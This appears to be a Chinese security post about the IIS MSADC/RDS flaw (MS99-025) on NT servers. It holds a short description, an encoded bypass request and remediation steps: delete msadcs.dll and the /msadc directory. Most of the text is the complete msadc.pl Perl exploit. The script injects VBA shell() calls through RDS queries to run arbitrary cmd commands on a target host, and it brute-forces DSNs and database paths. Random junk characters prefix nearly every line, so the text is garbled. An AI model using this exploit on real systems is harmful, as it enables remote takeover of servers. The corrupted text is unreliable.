IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[i[*xf-B 8fV.NCyE 涉及程序：
o1Bn^ w Microsoft NT server
=>? ;Iv'Z j@N z 描述：
bjn: e!} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1D *oXE9Ig /_WA F90R? 详细：
$Hw
w 如果你没有时间读详细内容的话，就删除:
D-{;;<nIr` c:\Program Files\Common Files\System\Msadc\msadcs.dll
C%2BDj 有关的安全问题就没有了。
_?]0b7X ~ lBb%M 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6Zr_W#SE OQ lmzg 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
l ga%U~ 关于利用ODBC远程漏洞的描述，请参看:
0 ge"ISK ` ,lm:x+(0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm YmrrZ&]q KCBA`N8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
L/ L#[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp z7vc|Z|
\9HpbCHr 这里不再论述。
:G.u{cw @nC][gNv 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
oo+i3af&7 PK C}!>2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WqX$ ;' }h 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
U L{+mp 0+-"9pED>E M =/+q #将下面这段保存为txt文件，然后: "perl -x 文件名"
U yb -feG ,/fB~On- #!perl
QN4{xf:}S #
BlLK6"gJT # MSADC/RDS 'usage' (aka exploit) script
.uh>S!X, ] #
]%%I=r # by rain.forest.puppy
CP]nk0 #
-_*ux! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7
KuUV!\h` # beta test and find errors!
~FP4JM,y6 ]\ ~s83?X use Socket; use Getopt::Std;
u%t/W0xi getopts("e:vd:h:XR", \%args);
r \PO?1 ZVelKI8> print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c)*, " >$# ojc m%yd if (!defined $args{h} && !defined $args{R}) {
g~7x+cu0 print qq~
Arr(rM Usage: msadc.pl -h <host> { -d <delay> -X -v }
T!f+H?6 -h <host> = host you want to scan (ip or domain)
VyMFALSe]h -d <seconds> = delay between calls, default 1 second
xK*G'3Ge -X = dump Index Server path table, if available
{PGiNY%q -v = verbose
)r0X Qa]@$ -e = external dictionary file for step 5
x/S:) z%X <r>1W~bp.q Or a -R will resume a command session
\CU-a`n C
vOH* K' ~; exit;}
>g>L>{ +#RgHo?f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U/#X,Bi~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
wsKOafrV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7Dt* ++: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
o8 B$6 w:_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'bQjJRq! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
67tB 8X E%b*MU if (!defined $args{R}){ $ret = &has_msadc;
Y 9}ga 4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$ ~ >/_<~ 9#>t% IF~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;f!}vo<; . "cmd /c ";
(y ^svXU}a $in=<STDIN>; chomp $in;
JBI> D1`" $command="cmd /c " . $in ;
^XgBkC~ ,I2x&Ys&. if (defined $args{R}) {&load; exit;}
"d; T1 Hk 0RT%PK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{3* Ne / &try_btcustmr;
8{-
*Q(=/ <WiyM[ ep print "\nStep 2: Trying to make our own DSN...";
D7lRZb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
b Y2:g ) ,k9xI<i print "\nStep 3: Trying known DSNs...";
J a7yq{j &known_dsn;
\Dx;AK s TFZxk print "\nStep 4: Trying known .mdbs...";
gW Ib" l &known_mdb;
FyhLMW3 O<`N0 if (defined $args{e}){
5M&<tj/[a0 print "\nStep 5: Trying dictionary of DSN names...";
6no&2a|D &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iw{rns B hzcimC) print "Sorry Charley...maybe next time?\n";
uj~(r=% exit;
~]Weyb[ N V r7L9%/wg ##############################################################################
I_s* pT Z]SUr`Z sub sendraw { # ripped and modded from whisker
m4on<5s/ sleep($delay); # it's a DoS on the server! At least on mine...
+zg3/C4 S my ($pstr)=@_;
= "('
#o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GK`U<.[c die("Socket problems\n");
0 K(&Ep VE if(connect(S,pack "SnA4x8",2,80,$target)){
MP|$+yuR~ select(S); $|=1;
p f `v H`r print $pstr; my @in=<S>;
XS(Q)\" select(STDOUT); close(S);
Rn $TYCO return @in;
I]-"Tw } else { die("Can't connect...\n"); }}
Zs|m_O G (:>Sh0. ##############################################################################
B%I<6E[D #|QA_5 sub make_header { # make the HTTP request
j a'_syn my $msadc=<<EOT
<u}[_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E#~J"9k98 User-Agent: ACTIVEDATA
v05$"Ig Host: $ip
++!'6! l Content-Length: $clen
0i>>CvAl} Connection: Keep-Alive
V4ybrUWK or`D-x)+@ ADCClientVersion:01.06
V` 4/oM` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sZ> 0*S 6Qn};tbnD --!ADM!ROX!YOUR!WORLD!
nC}Y+_wo0 Content-Type: application/x-varg
G.:QA}FE' Content-Length: $reqlen
>x*ef]aS d$HPpi1LL EOT
ATF>"Ux ; $msadc=~s/\n/\r\n/g;
l @ 5kw]6 return $msadc;}
LO;6g~(1 >ra)4huZ ##############################################################################
gs(ZJO1 /L Aj*|r
sub make_req { # make the RDS request
GGU>={D) my ($switch, $p1, $p2)=@_;
f_z]kA
+H my $req=""; my $t1, $t2, $query, $dsn;
T2_b5j3i Y;{(?0
s if ($switch==1){ # this is the btcustmr.mdb query
Ce:w^P+ $query="Select * from Customers where City=" . make_shell();
$#-O^0D $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gLwrYG7@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.wPI %5D &<EixDi4q elsif ($switch==2){ # this is general make table query
&& 7&/
$query="create table AZZ (B int, C varchar(10))";
07G'"= $dsn="$p1";}
mq +x= {n{-5 Y elsif ($switch==3){ # this is general exploit table query
TR9dpt +T $query="select * from AZZ where C=" . make_shell();
-VvN1G6.x? $dsn="$p1";}
!>:]k ?$b g*;z V i elsif ($switch==4){ # attempt to hork file info from index server
q4SEvP}fLx $query="select path from scope()";
LaYd7Oyf] $dsn="Provider=MSIDXS;";}
^|(VI0KO ZK Jhmk elsif ($switch==5){ # bad query
l\37 /Z $query="select";
MxqIB(5k $dsn="$p1";}
y9 ~:[ jB ~Kt2g\BSok $t1= make_unicode($query);
9vBW CCf $t2= make_unicode($dsn);
GsoD^mjY $req = "\x02\x00\x03\x00";
V *W H $req.= "\x08\x00" . pack ("S1", length($t1));
4t 0p!IxG $req.= "\x00\x00" . $t1 ;
M9.FtQhK/ $req.= "\x08\x00" . pack ("S1", length($t2));
]VaMulb4 $req.= "\x00\x00" . $t2 ;
Uka(Vr: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j/F:j5O* return $req;}
sn8l3h) GC[Ot~*_ ##############################################################################
SM4'3d&mf fW$1f5g" sub make_shell { # this makes the shell() statement
p@eW*tE return "'|shell(\"$command\")|'";}
C,B{7s0- qG3MyK%O\ ##############################################################################
<l< y R? C6qGCzlG` sub make_unicode { # quick little function to convert to unicode
i)(-Ad_ my ($in)=@_; my $out;
HfEl
TC:3f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+o]J0Gu return $out;}
(gUVZeVFP =
O|}R ##############################################################################
Yv3 P]6c. $ve*j=p sub rdo_success { # checks for RDO return success (this is kludge)
f t$!u-` my (@in) = @_; my $base=content_start(@in);
>]x% + @{| if($in[$base]=~/multipart\/mixed/){
hX: yn:P~ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
aWY#gI{ return 0;}
k{ulu G_ #MXFWt ##############################################################################
a&Me#H{ ri49r*_1 sub make_dsn { # this makes a DSN for us
6('CB|ga my @drives=("c","d","e","f");
T2 TWb print "\nMaking DSN: ";
*9US>m Vy foreach $drive (@drives) {
|=[. _ VH1 print "$drive: ";
kR <\iT0j my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zd=N. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
C8 y[B1Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4!A(7
s4t $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7*r!-$ return 0 if $2 eq "404"; # not found/doesn't exist
0GQKM~|H if($2 eq "200") {
nnTiu,2R foreach $line (@results) {
A3|X`X return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qmtH 0I7) } return 0;}
WH<\ f |xR f%yNq6l ##############################################################################
X$=/H 6R5Z ]+Z,HY@;- sub verify_exists {
>+@EU) my ($page)=@_;
sW&h?jdf my @results=sendraw("GET $page HTTP/1.0\n\n");
ZQyX zERp return $results[0];}
zo r 6%MM)Vj+u ##############################################################################
Wu)An S qVh\N n sub try_btcustmr {
[j?<& ^SW my @drives=("c","d","e","f");
lt%9Zgr[u my @dirs=("winnt","winnt35","winnt351","win","windows");
]) #?rRw s6!! ty;Y foreach $dir (@dirs) {
ITZ}$=
print "$dir -> "; # fun status so you can see progress
{5 (M foreach $drive (@drives) {
}^`5$HEi print "$drive: "; # ditto
Y]Zp[! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
UPkc-^BN $reqlenlen=length( "$reqlen" );
|21*p#> $clen= 206 + $reqlenlen + $reqlen;
s qO$ka{ ,vB nr_D# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:M.]- +( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B3p79 j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
GmZ2a -M
:q$.=?X3 ##############################################################################
%1 rN6A!% {w ]L'0ES[ sub odbc_error {
V=E5pB`Pr my (@in)=@_; my $base;
8aVj@x$' my $base = content_start(@in);
Z& bIjp if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1~S'' [ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0NXaAf:2Z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'\P+Bu ]6& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=/ 19 -Y: return $in[$base+4].$in[$base+5].$in[$base+6];}
} ok'd=M print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[jTZxH< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)Mh5q&ow $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
k;HI -v Is!+ `[ma ##############################################################################
7T A& u' [pSQ8zdF" sub verbose {
w +HKvOs5c my ($in)=@_;
7e H j"_; return if !$verbose;
Fu65 VLKh print STDOUT "\n$in\n";}
hmI>
7@& -pQ0,/}K ##############################################################################
uCj)7>}v{M =91f26c!~ sub save {
*Tq7[v{0*| my ($p1, $p2, $p3, $p4)=@_;
wvH*<,8V q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
' &Tz8.jp~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
n M `pnR_ close OUT;}
7lAn GP.; q5 .5 %W ##############################################################################
\7Fp@ .S3 MpJ] 1 sub load {
"F?p Y@4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C <H$}f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:!fU+2$`^( @p=<IN>; close(IN);
W\O.[7JP $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
aL/7xa $target= inet_aton($ip) || die("inet_aton problems");
6G:7r [ print "Resuming to $ip ...";
l?KP /0` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$Q`\- if($p[1]==1) {
X + B=?|M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\n-.gG $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
AZnFOS my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
p e$WSS J if (rdo_success(@results)){print "Success!\n";}
&_3 o 1< else { print "failed\n"; verbose(odbc_error(@results));}}
<H| ]^An!H elsif ($p[1]==3){
C a3
{e1 if(run_query("$p[3]")){
JiGS[tR print "Success!\n";} else { print "failed\n"; }}
*s!T$oc elsif ($p[1]==4){
WDh*8!) if(run_query($drvst . "$p[3]")){
DK<}q1xi print "Success!\n"; } else { print "failed\n"; }}
qR^+K@ *| exit;}
C`\yc_b9Pf Q'rX ]kk_ ##############################################################################
W1[C/dDc 1(/ r g sub create_table {
, 1 i l& my ($in)=@_;
) Hqn $reqlen=length( make_req(2,$in,"") ) - 28;
1+Bj` ACP $reqlenlen=length( "$reqlen" );
YGZa## i $clen= 206 + $reqlenlen + $reqlen;
*-s':('R my @results=sendraw(make_header() . make_req(2,$in,""));
+`TwBN,kp- return 1 if rdo_success(@results);
o6 8; -b'n my $temp= odbc_error(@results); verbose($temp);
\ZC 0bHsA return 1 if $temp=~/Table 'AZZ' already exists/;
(~^KXJ{-> return 0;}
7+m.:~H3 } n0w0]dJ&lc ##############################################################################
xf A@GYCfT sfC/Q"Zs sub known_dsn {
#ihHAiy3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
T>m|C}y y my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`W u.wx "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-\g@s@5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
{QI deB[ D }?JX5. foreach $dSn (@dsns) {
wArzMt}[ print ".";
'^BTa6W}m next if (!is_access("DSN=$dSn"));
_j]vR if(create_table("DSN=$dSn")){
sl*&.F,v= print "$dSn successful\n";
Oma G|2u if(run_query("DSN=$dSn")){
1pTQMf a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J!iK W print "Something's borked. Use verbose next time\n";}}} print "\n";}
5- "aK~@+ Bacmrf ##############################################################################
67 wq8| lv& y<d; sub is_access {
!D 9 V9p my ($in)=@_;
=]-D_$S~ $reqlen=length( make_req(5,$in,"") ) - 28;
}Q_ }c9? $reqlenlen=length( "$reqlen" );
#a!qJeWm0 $clen= 206 + $reqlenlen + $reqlen;
K}Lu1:~ my @results=sendraw(make_header() . make_req(5,$in,""));
Sp@{5 my $temp= odbc_error(@results);
e it %U verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/? :q9Wy return 0;}
sB<y( }u
<X]dR
6FT ##############################################################################
( Uk\O`)m zmU> sub run_query {
cnM`ywKW my ($in)=@_;
^ ]SU (kY $reqlen=length( make_req(3,$in,"") ) - 28;
:Q>{Y $reqlenlen=length( "$reqlen" );
! p3vnO X6 $clen= 206 + $reqlenlen + $reqlen;
fUB+9G(Bx my @results=sendraw(make_header() . make_req(3,$in,""));
Kk/cI6`W return 1 if rdo_success(@results);
\`YV)"y" ~ my $temp= odbc_error(@results); verbose($temp);
fCi1JH; return 0;}
0vcFX)]yW }z_7?dn/ ##############################################################################
kDWvjT 6"La`}B(T8 sub known_mdb {
4z,n:>oH my @drives=("c","d","e","f","g");
=T |m#*{.L my @dirs=("winnt","winnt35","winnt351","win","windows");
vtXZ`[D,l) my $dir, $drive, $mdb;
t/a my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>>0c)uC|W }E\u2] # this is sparse, because I don't know of many
TuzH'F my @sysmdbs=( "\\catroot\\icatalog.mdb",
B@,#,-=
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]r u
UX "\\system32\\certmdb.mdb",
E^t}p[s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2$ ?j'i! "@ @Z { my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
o*s3"Ib "\\cfusion\\cfapps\\forums\\forums_.mdb",
qr? RU .W "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
C8
"FTH' "\\cfusion\\cfapps\\security\\realm_.mdb",
7
JVonruaR "\\cfusion\\cfapps\\security\\data\\realm.mdb",
X=pPkgW "\\cfusion\\database\\cfexamples.mdb",
0/zgjT|fe "\\cfusion\\database\\cfsnippets.mdb",
m"mU:-jk` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
x: 2 o$+v3 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.$"69[1H "\\cfusion\\brighttiger\\database\\cleam.mdb",
\rmge4`4 "\\cfusion\\database\\smpolicy.mdb",
xMo'SpVz: "\\cfusion\\database\cypress.mdb",
?4 lDoP{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
B0:/7Ld$Ml "\\website\\cgi-win\\dbsample.mdb",
M l9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J.n-4J #@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i
UW.$1l ); #these are just
G0v<`/|>} foreach $drive (@drives) {
go5l<:9 foreach $dir (@dirs){
BY??X= foreach $mdb (@sysmdbs) {
HH'5kE0;d print ".";
|1Pi`^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s
F3M= uz print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
w-?Cg8bq< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x-@ 6U print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aKC3v R0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
t }-rN5GO @8V~&yqq foreach $drive (@drives) {
gR 8v F foreach $mdb (@mdbs) {
K_ LwYO3 print ".";
=s1Pf__<k if(create_table($drv . $drive . $dir . $mdb)){
#[NNb?`F print "\n" . $drive . $dir . $mdb . " successful\n";
JiC y77H if(run_query($drv . $drive . $dir . $mdb)){
`i3fC&?C print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!!UQ,yU } else { print "Something's borked. Use verbose next time\n"; }}}}
x|<89o
L }
@3I/57u< \k*h& :$ ##############################################################################
lcEin *Oc IT\
x0b cv sub hork_idx {
O_y?5 3X print "\nAttempting to dump Index Server tables...\n";
f`8mES'gc8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"SN+ ^ ` $reqlen=length( make_req(4,"","") ) - 28;
5tl uS $reqlenlen=length( "$reqlen" );
HDT-f9%}<4 $clen= 206 + $reqlenlen + $reqlen;
D^\2a;[AxA my @results=sendraw2(make_header() . make_req(4,"",""));
2V = bE- if (rdo_success(@results)){
"3:TrM$|A
my $max=@results; my $c; my %d;
$7bux 1L for($c=19; $c<$max; $c++){
f)!7/+9> $results[$c]=~s/\x00//g;
%R LGO& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
f2RIOL, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
o:Q.XWa@MG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
?FwjbG< $d{"$1$2"}="";}
Af7&; 8pM foreach $c (keys %d){ print "$c\n"; }
HU+zzTgI } else {print "Index server doesn't seem to be installed.\n"; }}
=CjN=FM n wPU{4#l< ##############################################################################
UvM _~qo q. NvwJ sub dsn_dict {
,N`D{H"F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
M[,G#GO while(<IN>){
-[.A6W $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9EKc{1
z next if (!is_access("DSN=$dSn"));
6`;+| H<$ if(create_table("DSN=$dSn")){
HVK./y qy print "$dSn successful\n";
:_"%o= if(run_query("DSN=$dSn")){
yaKw/vV print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bcC+af0L print "Something's borked. Use verbose next time\n";}}}
Ve^rzGU print "\n"; close(IN);}
j\.\ePmk] sn?YD'>k ##############################################################################
HrS WHvU|rJ sub sendraw2 { # ripped and modded from whisker
\Yd
0oe82 sleep($delay); # it's a DoS on the server! At least on mine...
p) ea1j>N my ($pstr)=@_;
TkSeDP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(k&r^V/= die("Socket problems\n");
7T}r]C. if(connect(S,pack "SnA4x8",2,80,$target)){
YN 31Lo print "Connected. Getting data";
A J"/T+g_ open(OUT,">raw.out"); my @in;
RTRi{p select(S); $|=1; print $pstr;
q X>\*@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{Qr0pjE7R close(OUT); select(STDOUT); close(S); return @in;
f!aE/e \ } else { die("Can't connect...\n"); }}
Qv>rw w] IYk^eG:; ##############################################################################
K5SP8<. ;IX*4E'4s sub content_start { # this will take in the server headers
Z* L{; my (@in)=@_; my $c;
H{nYZOf/ for ($c=1;$c<500;$c++) {
UAq%Y8KA if($in[$c] =~/^\x0d\x0a/){
^NPbD<~Lb if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
H.8Vm[W else { return $c+1; }}}
58H%#3Fy return -1;} # it should never get here actually
u }~%9 Pi +qzCy/_gd ##############################################################################
,3E9H &@ j XT0:$0F sub funky {
t?: Q my (@in)=@_; my $error=odbc_error(@in);
V_-{TGKX if($error=~/ADO could not find the specified provider/){
$(U}#[Vie
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
d T*8I0\+ exit;}
rc9Y:(S1l if($error=~/A Handler is required/){
# cD20t print "\nServer has custom handler filters (they most likely are patched)\n";
gaXKP1m^ exit;}
9 ?~ Y if($error=~/specified Handler has denied Access/){
iu(+
N~ print "\nServer has custom handler filters (they most likely are patched)\n";
#J<IHNRt exit;}}
{- ?8r> 0x/3Xz ##############################################################################
zr5(nAl DTR/.Nr'K sub has_msadc {
s.7s:Q` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@Xb>GPVe#L my $base=content_start(@results);
I_h{n{,sr return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
81<0B @E return 0;}
Z 2x% hpVu
########################
Qo;#}%}^^ )Mj
$/ ';0NWFP 解决方案：
J \ V.J/ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3Ta<7tEM 2、移除web 目录: /msadc
